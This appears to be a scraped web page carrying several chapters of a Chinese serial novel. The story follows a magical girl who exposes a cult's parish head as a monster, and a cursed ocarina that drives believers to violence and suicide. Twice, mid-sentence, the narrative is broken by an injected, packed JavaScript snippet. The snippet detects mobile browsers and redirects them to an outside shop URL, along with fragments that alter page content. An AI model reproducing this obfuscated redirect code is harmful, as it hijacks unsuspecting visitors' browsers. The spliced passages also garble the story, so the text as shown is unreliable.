总之,她们还是跑了一趟,主要原因是教堂的地点不算远,就在小四家附近。小象本想打电话让小四帮帮忙,但小六抗拒意愿强烈,于是现在她们不得不自己想办法溜进去。今日有聚会,或许是因为来往人员杂乱,二人混入其中并没有被发现。她们避开主要人流从走廊进入后台,穿过溢出血腥气的忏悔室,路过冒出合唱的练习房,再钻过摆放备用刑具与医疗箱的仓库,小六看过一扇扇封闭的门,快步朝里走。 好在教区长就在神职人员办公室里,位置不难找,她们只要不被发现就可以了。 “什么人?” 被发现了,小象心中叹气。 “被发现了!?”小六不可置信地回过头,“居然?!” 远处脚步声越来越近,好在仅有一人,她的声音有些熟悉,小象回头,发现来者正是小四。说是凑巧,但也实在不巧,至少对小六而言这实在是最差的相遇时刻了,她一个劲地往小象身后躲,显然也是认出了对方。 “…小象小姐!”小四也相当惊喜,她意外道,“您怎么来了,还跑到这…小六,你也在!” “嗯…嗯。”小六慢吞吞地从小象身后挪了出来,她不知该如何开口,但看着小四,却又忍不住地想说些什么。 “…我还想着哪天去找你,没想到这就遇到了。”小四轻叹口气,她看向小象问道,“不过您为何来这里呢?是陪小六回来看看的吗?” 对方并没有追究小六在此的原因,小象顿了顿,开口道,“我们想见见那位教区长,所以偷偷跑过来看看。” “才,才不是偷偷!”小六觉得这用词不好,连忙纠正,“我们是来确认教区长到底是不是魔物的,对!” “…魔物?”小四有些疑惑,但她没纠结,继续说道,“我也是来找教区长的,在聚会开始之前我有些事想问她。既然如此我们就一同去找她吧,虽然现在还未到时间,但她总不该拒绝我们的问题才是。” “没错没错。”小六连连点头,“我们走,这就见识见识那教区长到底长什么样!” “…不要抱太大期待比较好哦。”小四委婉道,“在职务之余,教区长只是一个普通人而已。” “是这样吗…”小六有些失望。 “看来我们可以回去了。”小象点头。 “别!”小六使劲摇头,“我要亲眼看看。” 停驻在教区长办公室门前,小四回头对二人道,“这里面人应该不少,小象小姐,请跟进我们。” 随后,她推开了门。与小象想象中哥特式风格不同,邪教神职人员办公室装修普普通通地温馨着,虽然那些挂画内容不适合小六观看,但总体来说并不恐怖,也没有奇奇怪怪的人。那些工作人员多身披白布斗篷,也用白布蒙整个头颅,些许碎碎低语就从那之下流出,弥漫在空间内的每一处。 小四与其中几位点头交谈,一些人发现小六时明显看了过来,白布之下的视线无从遮掩,小六不适应地加快了脚步。 “看来你都不习惯了。”小四笑了。 “我以前难道是习惯的吗?”小六疑惑。 “嗯…也可能是…”小四沉默片刻,摇了摇头,“没什么大不了的,别担心,她们现在不会对你做什么。” “嗯…”小六点了点头。 走到办公区最深处的一扇门前,小四抬手敲门,没人回应,片刻后她直接推门而入,环顾一圈,办公区内并没有人,她没有犹豫,继续走向那掩着一条门缝的阳台。越是靠近,那股烟草气味就越是难以忽视,于是当那扇门打开后,阳台上站着的当然是个正在抽烟的人。 “…哦,你们好。”她迟钝地回过头开口,就像还没睡醒一样,手边烟灰缸里的烟头却是已经冒了尖。 “…你果然又在抽烟。”小四的眉头皱得很紧,“哪怕是个普通牧师都知道去外面帮把手,只有你,每次都要到了点才出现。” “…因为,现在我还不是牧师小一嘛。”小一歪过头随意地笑笑,抬手扶了扶金丝框眼镜道,“我现在可没法帮你们什么,毕竟工作时间还没到。” 说真的,小象也没那么意外,小一已经有那么多工作了,再多这一份也不算多,至少现在她能确定教区长的模样了,她甚至没有一路走来时见到的那些工作人员符合这里的气质,夜风吹乱了她的头发,她呼出烟雾,于是微笑也模糊不清了起来。 “别找借口。”小四相当严格,她先是回头看向二人,开口道,“这就是我们这的教区长小一了,希望你们没有感到太失望。” “我倒是无所谓。”小象说着看向小六,“如何?我们能回去了吧?” 但小六没有回答,她紧紧地盯着小一,开口道,“你是魔物。” 一时没有人说话,这审判毫无预兆,仿佛她只是看一眼就掌握了证据一般。不知过去多久,小一缓缓按灭了手里的烟头,看向小四,开口道,“你找我还是为了那件事?” “不许无视我!”小六愤怒地叫喊道,她从身后摸出裁罪者,上膛,大步走到小一身前,用枪口抵住对方的脑袋,扣下扳机—— “…小六?”小四有些疑惑,“你在做什么?” 她什么都没有做到,没有子弹射出,当然也没有魔弹,她疑惑地多次扣动板机,但很快她想起了什么,回头看向小象。 “…我们回去吧。”小象说。 “不行,她是魔物啊!”小六瞬间退开了几步,她看向小四,又指向小一,“她是魔物,绝对不可以就这样放过她!” “等一等。”被指着的小一面色毫无波澜,“一个一个来,小四,你找我还是为了那件事?” “…还能是为了什么?”小四选择先问问题,“我已经等了一个月了,今天你必须给我一个准话。” “我当然会帮你。”小一回答,“就像以前很多次,不要急,我会帮你渡过这次难关的。” “你上次也是这么说的,回去后我等了一周,等来一个实习生一样的人来安慰我说不要担心。”小四的声音带着嘲讽,“她也意识到了什么吧,你们不过是在拖延时间。” “怎么会呢?”小一摊手,“钢琴师小四——” “不要那么叫我!”小四高声打断道,“你早就知道,我再也不可能弹钢琴了。” “…这样。”小一顿了下来。 小四抿嘴,有些狼狈地快速看了一眼小六,转过头去不再言语。 “我已经为你准备了一个新的机会,它已经在来的路上了,相信就好,不要着急。”小一说。 “…就这样吧。”小四叹了口气,小象有些意外,她居然就这么接受了。 “…那么。”小一又看向小六,“你说我是魔物,是因为想杀了我?” “因为你是魔物,所以我必须消灭你!”小六义正严辞地说。 “现在吗?”小一问着,突然抬起右手在脑袋上敲了起来,“请等一下,我有点忘记这个该怎么…我记得是…” 她每敲一次,脸上属于原先那个人的表情就失去一分,就好像她将自己身上所覆盖的表皮一下下敲掉了一样,最后她放下手时也摘下了那副眼镜,整个人看上去像只停在树上莫名看人的猴子。 “只能,这样了。”她的语速变得很慢,“小六,你要怎么杀我?” “…有人看着,所以我——”小六说着突然看向小四,她声音一顿,又不再说话了,只是捏紧手里的枪。 说真的这对话实在是可疑,小一看着依旧是人样,小六手里也依然拿着一把发射不了子弹的枪,小四疑惑地看着她们二人,小象想离开这里。 “哦,忘记了这个。”小一突然想起了什么,开口道,“你们好,我是魔物小一,很高兴为你们服务。” “…你终于疯了?”小四质疑。 “魔物不会说谎。”小一缓缓摇头。 “她承认了!”小六举起枪,却还是射不出任何子弹,她看向小象怒道,“你的脑子怎么这么顽固?” “…我怎么了?”小象指了指自己,明明这里还有小四在。 “她就是魔物!”小六用枪口指小一,“你不信,所以我没法使用裁罪者处决她!” “没错。”小一点头。 “你别同意啊!”小象更疑惑了,“你至少反抗一下吧。” “…魔物的使命就是被魔法少女杀死。”小一平静地说,“魔物不会说谎,不会反抗,只会展示自己。” “说谎!”小四怒道,“你不记得自己撒过多少个谎吗?” “那是别的小一,不是魔物小一。”小一自得地扶住领口,“魔物小一从不说谎。” “你有精神分裂?”小象疑惑。 “…不是的。”小六解释道,“魔物吃什么就变成什么样,她吃了很多人,所以才能模仿那么多人行动。不如说小一其实也被你吃了吧,魔物哪来的名字?魔物根本没有灵魂,感情性格都是模仿得来的!” 闻言,小象与小四都一惊,吃人可是相当恐怖的事,但反观小一,她却是平静地承认了这一点。 “是的。”她这样说,“那是一份无比空虚的灵魂,自那以后,我就只能从工作与尼古丁中感受到自己的存在,幸好,我可以胜任很多份工作。为了纪念她为我带来的痛苦,我决定工作时以她的名字与模样示人。” 她一边吐出毫无起伏的字句,一边在三人的注视下走向自己的办公桌,她蹲下身,从最底层取出一把手枪,最普通的小口径枪,没有任何装饰与配件,小一又摸出六枚子弹装填,打开保险,上膛,随后她又起身,将那把不过一瓶矿泉水重的枪停在小六身前。 “现在,您可以用它杀了我。”小一顺从地低下了头,“很高兴为您服务,期待您的下次光临。” 那是一把枪,小六看着它,那是一把可以射出子弹,可以杀死魔物,可以完成使命的枪,那它与裁罪者有何不同,为何她不敢伸手接过,她在害怕什么? “你真的疯了。”小四面色难看地挡在了小六身前,隔开她和那把枪,“你想死就转身自己从阳台上跳下去,别骚扰未成年人。” “…说起来,确实还有这么一件事。”小一抬起头,看向小四说,“你的父亲有一句遗言,说支持你的任何决定。” “…什么遗言?”突如其来的消息让小四愣住,“他,他不是活得好好的吗?” “那是我以他的模样出面,等我完成使命,你便也无法再看到他了。”小一说,“他说很抱歉他骗了你,你要听他亲口对你说吗?” 小四的身躯僵硬了起来,她的头上下轻微摇晃着,说,“我不信。” “也是,现在我也没办法让他来见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296764|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你。”小一叹了口气,“很抱歉,帮不了你。” “…你根本就是一个骗子。”小四流下冷汗,瞳孔震颤着说,“你根本不信教,你根本不信神,你的虔诚是伪装的,你的感情是模仿的,你根本不是为了帮助教徒而竞选教区长,你骗了我,你骗了我们所有人。” “是的。”小一平静地回答了,“因为我是魔物,我无法——” 她话没说完,小四就上前夺过了她手里的枪,她右手挣开固定器,缺失小指与无名指的手掌托不住任何东西,于是换为左手扶枪,她颤抖,却是因为无从遮掩的愤怒,那愤怒叫她完好无缺的右手食指毫不犹豫地回扣,子弹回应巨大轰鸣击中小一额头。 “真是浪费…”她说着,放任躯体向后倒下,明明自己是没有灵魂那种东西的,更别提感受了,但身体却越来越轻,她意识到自己正在感受的就是死亡,死亡让一切都变得没有意义,“小一”想要的一定就是这个吧,那这样就好。 我有帮上你的忙吗?她这样想着,很快就什么都感受不到了。 没有血,她的身体如崩塌般一点点下陷,很快化为黑色并碎开,如烟灰一般散入空气中,除了一股缭绕的呛鼻气味和地上的一堆衣物,什么都不剩下了。 一地狼藉之前,小四的身体还在起伏,她喘过气,回头看向二人,眼里不见任何异色。 “…抱歉,小六。”她开口道,还带着微笑,“她背叛了我们的神,所以我才…本来这似乎是你要做的,抢了你要做的事,抱歉。” “…你,你相信我吗?”小六试探性地问道,“你看,她,她确实是魔物,我没有说谎吧,我也真的是魔法少女——” “当然。”小四轻轻地抱住了小六,“无论那是什么,都是神爱你的证明,你没有必要为此担惊受怕的,因为你的苦难都有意义,你也不需要证明任何东西,神都看着,对吗。” “…嗯。”小六伸出手,抱了回去。 “回去吧。”小象说。 小六这才不好意思地松开了手,“我,我得先回去了,万一姑姑她先回家那我可就完蛋了…” “当然…您不考虑留下来看看吗?”小四看向小象问道,“想来今天我们没能为您留下一个好印象,我也希望能弥补一下。” “…不了。”小象摇头,“工作结束,我今晚就要离开这里了。” “好吧,那希望您一路平安。”小四笑着招了招手。 回去的路上,二人再未遮掩自己的行踪,小六跳着往前走,心情相当好。 “所以,你也是信徒。”小象突然开口道。 “嗯。”小六回应。 “你一直是。”小象看向前方背影。 小六停了下来,回头与小象并肩向前走,开口道,“其实也不是,我不是和你说过,小时候我根本不在乎神是否存在,那时的我当然算不上信徒。” 她转过头,笑容因回忆而恍惚,“与家人分开之后我犹豫了很久,但从信到不信真的只是一瞬间的事,小象,那就是开悟。洗礼是有用的,神确实看着,也是相信的那一瞬间,我成为了魔法少女。” “…这样啊。”小象回应,心里却又想起了小五所说的话。 闻言,小六小跑两步到小象身前站定,看向她的眼睛问道,“那么,你相信了吗?” “…都看着小一变成那样了,我还能不信?”小象反问。 “…骗人!”小六皱眉,“我还是用不了魔法,你的脑子好顽固啊!” “说不定是有你的跟踪狂在盯着你。”小象绕开了小六,继续向前走。 “我也有粉丝了吗?” “说不定是你姑姑。” “…她在工作呢!” “说不定是你姑姑的分身。” “…你是不是在忽悠我啊?” “哈哈。” “…对了,我还要给你报酬呢。” “算了,你自己留着买冰淇淋吃吧。” “不是用我的零花钱当报酬!” “那我也不打算收未成年人的报酬,而且小四也没回去弹钢琴,就当我们没能达成目标吧,真是可惜,下次再接再厉。” “还会有下次吗?” “你可能会,我不会了。” “怎么这样说…” “因为我要走了,而且以后大概也不会回来了。” 小象还是在当晚离开了这座城市,开车前,她突然想起了自己的任务,也就是那台三角钢琴。如果小一不在了,那世界上终究是少了一个知晓那台钢琴真正价值的人。 “那教区长没让死人复活。”她打电话给小三,“是她自己假扮小四的父亲出面,现在她们都死了。” “…原来如此,真是可惜。”小三叹息。 “可惜什么?” “当然是可惜我在这世上少了个朋友。”她理所当然道,“但我也不得不祝贺她脱离苦海,毕竟她可不信那些教条。” “…你倒是知道的多。” “来我这儿能倾诉的可都是些烦恼,我告诉您的这些,不过是是我作为学者的推测。” “她向你倾诉了什么?就当是回报我告诉你她的死讯,就把这个也告诉我吧。” “当然,那是相当普通平凡的烦恼,她说‘做人真难’,仅此而已。” 45. 魔法与信徒-下-3 自那之后,小象再没想过要回去那座城市看看,但她的工作从不考虑她的心情,于是在大概三月之后,她再次拜访那座城市,为完成一次售后服务。 在拍卖会之后,那台三角钢琴的名声果然流传了起来,有一位乐器收藏家希望得到它,但手头资金不足,便希望以一件收藏抵押部分钱款。琴行本不接受这一形式的付款,但那位寄拍者,也就是钢琴的制造者在听闻这件事之后不知为何大受感动,当即同意了这一交易。 此次行程,小象需要去那位收藏家手里取得那份珍藏,并转交给收货人——小四,以彻底结束该任务。 而那货物本身并不神秘,因为那位收藏家热爱公开宣扬自己的品味。多年前,方舟集团旗下深潜者深海探索公司的探险队从海中捞起一艘落难船,船周不见人的痕迹,船只本身更是不像个载人用具,老旧的小型木板帆船从中间裂开并下沉,满载各种奇形怪状的东西,而其中大部份早已被海水腐蚀得不见原形,只剩下些许顽固的被探险队带了回去。经过几番检查之后,考古专家勉强认出了其中部分,并将有价值的那部分转交拍卖行。这次的货物便是深海中捞起的顽固垃圾之一,据考古者与收藏家的说法,那是一只海螺形状的陶笛,不过因海水腐蚀与磕碰原因不再具有演奏功能。 “我也曾尝试过吹响它,虽然没有声音,但我总觉得自己听见了什么。”那位收藏家将盒子交给小四,口中低声说,“而在那之后,我一旦接近它,那声音就越发响亮,总让我的心中躁动不安。所以,请替我警告那位收下它的人,一定不要尝试吹响它。” “我明白了。”小象点头,见她收下货物,收藏家松了口气,不知是不是小象的错觉,对方似乎并不想要这陶笛,甚至有些害怕它。 “…我听说,那位即将收下它的人,也是那台钢琴的原主人对吗?”收藏家疑惑,“那可是大师之作,为何她会放弃呢?若是那位大师没有如今之举,她不就平白受了巨大损失吗?” 这问题得问小四本人,小象想了想,回答道,“可能是因为她是个信徒吧,总是莫名其妙地很有信心。” “原来如此。”收藏家点头,“看来是她的信心有了回报。” 那日离开之后小象再没有了解过与教团相关的信息,不知小一死后是否有新的教区长上任,不知小四是否还在那个教会中,不知小五的调查情况如何,以及小六——不知道她学习情况怎么样了。 这样想着,她们就在学校附近又碰上了,于是小象带人去了那家她曾光顾的冰淇淋店,那里已经有了新店员。 “学校里的事已经完全无法干扰我了!”小六这样得意地说,三月不见她长高了一个指节,整个人身上多了种莫名自信的气质——对,小象想起来,就是她自己说的那种,莫名其妙的自信。 “后来你回那个教会去了。”小象笃定地说,“你把重心放在了那里,学校里的事情怎么办?” “…你跑去学习听风魔法了?”小六疑问。 “没有。”小象说,“你这一年数学成绩有下降吗?” “完全没有!”小六得意道,“我现在成绩很好哦,家长会老师点名表扬我的进步了,不仅仅是数学,我现在所有成绩都很好。” “哇。”小象很给面子地鼓起了掌,“那小五一定很开心吧。” “…其实我用了一点点魔法啦。”小六不好意思地说,“姑姑她好像发现了这一点,总怀疑我考试作弊。” “你考试作弊了吗?”小象问。 “没有!”小六气愤道,“偷看同桌试卷这种事我不用魔法就能做到啦!而且…” “而且什么?”小象追问。 “而且我现在朋友超——多的!”小六夸张地说,“无论是学习还是交朋友,对魔法少女来说都是小事一桩。” “恭喜你。”小象说。 “这是魔法少女该做的。”小六理所当然地说。 不知不觉,那个熟悉的路口又靠了过来,二人在红灯前停下,小象顺便问了些关于小五的事,但不知为何,她答得支支吾吾,那模样显然是心虚。 “你又给她添什么麻烦了?”小象问道。 “…不告诉你。”小六低声说着,快步闯过红灯斑马线,回头招手告别,“再见啦!”,随后不一会就跑远了。 小象目送,随即继续前往目的地。虽说收货人还是小四,但收获地点却变了,从她自己家变动到了工作单位,也就是教堂。由于死相与死因成谜,在警局档案中的小一实际上处于失踪状态,所以一直没人接替她的位置,小四也没有什么变化,但她确实留在了教堂,作为一名普通的修士。 遇到小象时,她似乎并不意外。 “就是它了。”小四自然地接过了货物,这次她没再拒收,顺利地签下了自己的名字,用右手,她没有佩戴假肢或试图遮掩,只有三根手指的右肢让常人见了或许是会感到惊吓的,但她举手投足没有丝毫不自然。 “那位收藏家让我嘱咐你最好不要吹响它,说它会发出人听不见的声音,造成耳鸣之类的问题。”小象说道。 “还有这种事。”小四说着拆开盒子见到了那只陶笛,她小心翼翼地将其捧出,旋转着打量了一下,没多犹豫,便将其摆放为了适合吹奏的样式,随后她看向小象说道,“我准备尝试一下,您需要回避吗?” “…我也挺好奇的。”小象说。 于是小四尝试吹奏陶笛,就如收藏家所言,没有任何声音出现,小象只觉得有一瞬间听到了类似高频音波的东西,它略过耳膜,速度快得像是发生了错觉,至少她是这样觉得的。 而小四似乎并不如此,她放下陶笛,神色怔怔地望向正前方,仿佛看到了什么。小象不想打扰她,过了不知多久,她忽然笑了起来,就好像那陶笛吹出的其实是一场脱口秀电台节目。 “…我明白了。”她说,“原来是这样,这就是所谓的开悟吗。” “你听到了什么吗?”小象好奇地问,“我什么都没有听到。” “它并没有发出任何声音。”小四轻声说,“我只是…突然就想起了一些以前的事情,那不是偶然的,而是一种提醒。我明白了自己该做什么,我必须让它被更多的人听见。” 她看向小象,微笑道,“谢谢你将她带来我身边,我得走了。” 说完,她迅速带着陶笛离开了办公室,走向正在举行聚会的礼堂。教堂中人数比起上次小象看见的少了许多,不知是小五的功劳,还是因为小一不在这里了,她没去礼堂围观后续发展,离开教堂回到了酒店。这样一来她的任务就算彻底结束了,等到第二天她就会离开这里,结束这短暂的售后服务。 当天夜里,巨大的敲门声惊醒了小象,与其说敲门不如说是砸门,她疑惑而警惕地来到玄关边往猫眼看,来者是小五,她正抬手,看动作,她是用锤的。 在噪音发出之前小象开了门,问道,“你找我?” “今天下午有人看见你接近了一处教堂,情况是否属实?”小五亮出警察证件直截了当地问,丝毫没有念念旧的打算。 “是的。”小象翻出自己的货运单,“我有工作。” 小五接过文件仔细查看,小象打了个哈欠,说起来这地址还是一位叛教者透露给眼前这些人的,不知那位小二现在如何了。 阅读完毕,小五将文件交还小象,但并没有就此结束问话离开的意思,而是反手从腰后方取出了…手铐?! “现在可以确定您的工作内容与当前突发情况有关,事关公共安全,麻烦您和我们走一趟。”她这样说,完全没打算给小象选择的权利。 “等下,等下等下!”小象连连后退,小五直接踩了进来,看动作没有换鞋的打算,她连连摆手说,“我是送货的!你有事去找发货方和收货人啊!” “发货方已被拘留,收货方找不到人,所以才来找你。”小五露出残忍的冷笑,“别紧张,就是去做个笔录,如果你没有嫌疑很快就能离开的。” “做笔录要带手铐?”小象怀疑道。 “你不准备跑的话也不用。”小五说。 “能不能就在这里录?”小象问,“我明天就走了。” “不行。”小五伸出手铐,“上次就让你给跑了,这次你想都别想。” “行了我会配合的。”小象退后一步要关门,“我收拾下换个衣服,你等下。” “我看着。”小五抵住门说。 “…我还能从这里跳出去不成?”小象指了指窗外,二十楼。 “谁知道。”小五说。 “…随便你吧。”小象放弃了,“进来的话把鞋脱了。” 趁换衣服的功夫,小象询问起了自己被如此关照的原因,小五靠在墙边答着,时不时需要回复手机上的信息,她们今晚确实很忙。 事出起因还是在于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296765|198569||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小二,先前的案件中她因自首与犯罪情节较轻故没受太大惩罚,只判了她三个月的劳改,也就是说,本来再过几天她就要出狱了。但就在这黎明前夕,她却自己越了狱,小五调查得知今天下午有她的朋友前来探监,走后小二变得沉默但并没有特殊行为,谁能想到,天黑了之后她自己从栅栏门里翻了出来,要知道那门可是带电的。 “…她之前怎么样?”小象疑惑。 “监狱条例背得比几个狱警都熟,劳动时间也积极参与。当时她来找我们自首时是哭着的,说‘自己被骗了才做出违反社会公共秩序的蠢事’之类的话。”小五声音也带着疑惑。 “那个探监的你们抓住了?”小象问。 “…不便告知。”小五说。 “那就是出问题了。”小象套上外衣,前去洗漱,“而且是与我送的货有关的问题。” “这些就等你回答了,快点。”小五说。 “…我能回答什么…”小象叹了口气,“之前你们抓人抓得怎么样了?” “有小二的口供,我们依照诈骗行为抓了几个,也加强了对教堂的监管。因宗教约束我们不便处理其它人,虽然说迟早要出事,但你一来就出事的情况下我很难不怀疑你。”小五说,她似乎在解释。 “我的工作是送货。”小象强调。 “看来你也知道自己在做什么。”小五说。 小象不想继续谈论这个话题,“小六最近怎么样了?” 小五似乎不太想谈论这个话题,她沉默许久,直到小象收拾好自己后才说,“她最近有点奇怪。” “哦,青春期。”小象点头。 “我青春期可没整天到处发自己的手工制品。”小五快步走在前面,“我怀疑她接触了一些不该接触的人,但她在学校表现很好,也没有违规外出。” 这让小象想起小四,不免有些心虚,“或许是她以前的朋友呢。” “看来你知道什么。”小五回头。 “猜测而已。”小象说,“她发的东西,是那个玩偶?” 那玩偶小象还带着,留在了自己箱子里面。 “对。”小五继续大步向前,“我得找时间和她谈谈。” “加油。”小象说。 “如果她把你供出来了你就等着吧。”小五说,她好像在威胁。 风驰电掣地来到警局,小五带着小象快速略过她的同事们进入口供室,掏出案卷开始询问。小二的越狱确实只是一个起点,那位探监者在离开后不久便被找到了行踪,其一路来到市区最高的楼层,想尽办法来到天台,随后毫不犹豫地从边缘处一跃而下,在大街上留下一滩很难洗的污渍,警察抵达现场后只来得及驱散群众并遮掩现场,连劝都没能劝一句。 而这只是个开始。 “今日傍晚,约是该教堂聚会结束之后,大量教徒做出了异常行为,影响和混乱还在继续扩大,我们必须在天亮之前找出原因并制止。”小五盯着小象的眼睛说,“我们无法找出那些行为的逻辑或动机,因为在教徒们异常行动发生之前,她们还可以与人正常交流互动。” 这让小象想起了那陶笛,但如果说真是如此,为何收藏家还活着呢? “你们从那收藏家嘴里问出什么了吗?”她问道。 “没有特别之处,根据以前的案情我们推测那行为只出现在教徒之中。”小五说,“而现在,我怀疑当前情况与你送的那支陶笛有关,你知道些什么吗?” “…我和它接触时间还不超过半天吧。”小象无奈道,“取到货物,送到收货人身边,交货——” “收货人是小四,她有任何异常情况吗?”小五问。 “…她吹了那支陶笛。”小象说,“但至少在我看来,她并没有不正常的地方,也与我正常交流过。” 小五凝眉记下了些什么,突然有人推开口供室的门说,“可以了,搜查令到位。” “准备动身。”小五点头,又对小象说,“你留在这里,等我们行动结束我送你回去。” “我自己回去就行。”小象摇了摇头。 “…我怀疑警局里有人在往外透消息。”小五皱眉,“你已经足够可疑了,别再做些会让我想拘留你的事情。” “…行吧。”小象还能说什么,“至少给我个能睡觉的地方。” 小五起身,对守在门外的人说,“带她去休息室。”随后快步离开了。 46. 魔法与信徒-下-4 警局里没有适合休息的地方,所谓休息室不过是有沙发的茶水间。 “请跟我来。”带路警员带着帽子走在前面,进入休息室,小象落座准备休息,对方却并没有要走的意思,而是顺带着就在她对面坐下了。 “…有何贵干?”小象问道。 闻言,那警员轻笑两声,抬手扶起帽檐露出真实面孔来,小三笑道,“好久不见了亲爱的,有想念我的声音吗?” “难为你这把年纪了还搞这套。”小象本该有些惊喜的,但现在她实在是太困了,只是打了个哈欠道,“你想说什么,我要睡觉了。” “年轻人如此没活力可不行。”小三摇了摇手指,“方才小五警官所说的实在是令我无比好奇,那透露机密的人到底是谁呢?” “你。”小象毫不犹豫地回答。 “我不过是耍了些不入流小手段才混进来的临时工,仅限今日。”小三劝导,“亲爱的,不如再猜猜?” “我?”小象眯起眼睛。 “也可以这样说。”小三点头。 “…我开玩笑的。”小象说,“你好没幽默感。” “但我可是认真的哦。”小三说。 “…什么意思?”小象清醒了些。 “您可曾收到一份来自魔法少女的礼物?”小三伸出手指比划大小,“大概这么大的毛绒玩具。” “确实收到了…”小象皱眉,“你不会是想说那玩意里面有窃听器吧,我可没带在身上。” “不如您再找找看?”小三歪过头。 虽然小象不觉得那毛绒玩具会从自己箱子里闪现到自己口袋里,但她也在自己外衣中摸索了起来,这下还真让她摸出了一个毛绒玩具来,她想起不久前小六与自己同行,难不成是那会放进去的? 随即,她就要把玩具拆开检查,却被小三拦住了。 “提问。”她开口,“您是否认为这个玩偶有窃听功能?” “…我不想怀疑她,所以我才要确认。”小象说。 “提问。”小三继续问,“若是在不拆开确认的情况下,我说‘这玩偶有窃听功能’,您选择信,还是不信?” “不拆开我怎么确认?”小象皱眉,“你到底想问什么。” “最后一个问题。”小三没有回答,“您是否相信了我一开始说的话?” 闻言,小象没有再理会她,低头就要拆开那玩偶。 “三个答案都没有正面回答呢…”小三叹了口气,“既然如此,不如就让它停留在完整的模样吧,毕竟无论结果如何,您都不会为其负责的。” 但在她这样说时,小象已经挑开玩偶的缝纫线,刨开,展露,细细区分,直到桌上只剩下一堆棉絮,那个玩偶与窃听器都不在这里。 “…这只是个玩偶而已。”小象皱起眉看向小三,“你到底想说什么?” “许久以前,我收到了一份烦恼。”小三双手交叠放置在膝盖上,缓缓开口道,“她说,没有人相信自己魔法少女的身份,为此,就连她自己都会偶尔怀疑起自己,她因此而变得弱小,因为魔法就是这样,不去相信就无法存在的东西,弱小得可怜。” “…是小六?”小象疑惑,“你说了什么?” “我说,只要展现自己的力量就能获得旁人的信任,无论是伤害还是帮助,只要是力量,就会被人所崇拜。”小三说,“但是她啊,在人类社会中生活得太久了,已经被人类的规则紧紧缠绕,飞不起来,跳不出去。于是,我教给她了一个小伎俩。” 她眨了眨眼,说道,“去寻找不需要证明就可以相信的人,与她们成为朋友,这不就好了吗?” “所以是你…”小象意识到了小六为何会变得奇怪,她质问,“你知道自己做了什么吗?小六还是个孩子,哪怕思想有些不正常,不如说正是如此才要更多地接触正常社会。” “所以,今夜她也一定会行动起来吧。”小三扶了扶帽檐,“为了帮助自己的朋友。” “…你告诉她要怎么做,现在又跑过来告诉我这些?”小象疑问。 “您就当我后悔了吧。”小三叹息。 小象没再说话,她起身摸出手机,却又想起小六没有电话,她沉默片刻,转为拨通了小四的号码。 “您好?小象小姐,请问找我有什么事吗?” “小六现在和你在一块吗?” “她在早些时候回家了才对,发生什么事了?” “…有教徒自杀了,这件事和你有关吗?” “…我绝不会劝任何人放弃生命的,小象小姐。她们中的一些选择了这个结局,无法再与我们相见,我也很遗憾,但我会尊重她们的选择。” “换句话说,和那支陶笛有关系吗?” “它也不过是点醒了我们深处被深藏的渴望而已,那是神谕,若是那愚钝的教区长还在这里,她也会愿意垂首聆听的吧。” 所以确实与那支陶笛有关,有的人听了会像小四一样去做些什么,有的人听了就爬上高楼一跃而下。小四将自己的行为说得宛如天经地义一般,不,对她这样的教徒而言,或许这才是常理吧,小象意识到了这一点。 “小象小姐,很遗憾,您没能听见神的话呢。”她惋惜着,“我多么希望您也能成为我们的一员。” 通话结束,小象没再犹豫,迅速离开警局去寻找小六,她有预感对方绝对没好好待在家里写作业,那还能在哪呢?小象稍加思索就得到了答案,肯定是在发生争端的地方。 “祝您好运,亲爱的。”小三说道。 不知为何,小象离开警局的一路上没受到任何阻碍。 教堂所在地周围已被黄色警戒线围起,但警察没多少,毕竟教徒不聚会时也不过是到处都是的普通人而已,大部份警力分散在城市各处,对着小五调查名单上的嫌疑人一一确认当前位置。 这种时候小六会出现在哪?小象并没有头疼多久,在她从小巷尽头再一次转身后,小六就站在她的眼前。 “…你怎么——”小象一顿,叹了口气说,“这不重要了,现在可是半夜,你赶紧回家。” “你是来找我的吗?”小六问。 “废话。”小象笑了,“除了你,这个城市哪里还有人能让我担心?” “…哦。”小六有些不好意思地摸了摸自己的发尾,又说,“没关系的小象,其实我每天晚上都会这样跑出来,不用担心的。” “…跑出来做什么?”小象疑问。 “消灭魔物!”小六理所当然地说,“不过今天有些其它事情要做。” 说着,她忽然转头,远处传来警笛鸣叫,尖锐而令人警惕。 “…如果你说的是那个教会的话,我就是来劝你不要掺和那件事的。”小象说,“虽然不知道那个陶笛是怎么做到的,但那太危险了,无论是它还是那些冲动的人。” “我知道那是什么。”小六说,“那是魔法道具,带有‘唤起内心深处欲望’的魔法,不过可能是因为我是魔法少女,所以它对我没用啦。你才该回去了小象,夜晚很危险的。” 说完,她抬脚就往巷子外面跑去,小象连忙跟上,她总觉得如果对方消失在自己视野范围内就再也找不到了。 她高声喊道,“那些人很危险!” “那些人是我的朋友!”小六回应。 “你要去帮助她们吗?哪怕她们是去自杀的?”小象问道。 “…我只是不想让她们被抓住。”小六说着加快了脚步,不一会就消失在了下一处拐角,就在小象以为自己无法跟上的时候,脚步一拐,小六的背影却还在那里。 在她的前方,小五压着一个身着斗篷的教徒,挣扎间地上人的脸露了出来,那是小二。 “我从没有如此自在过!”她挣扎着喊,“只有现在,我在遵循我内心的想法行动,而不是任何规则。” 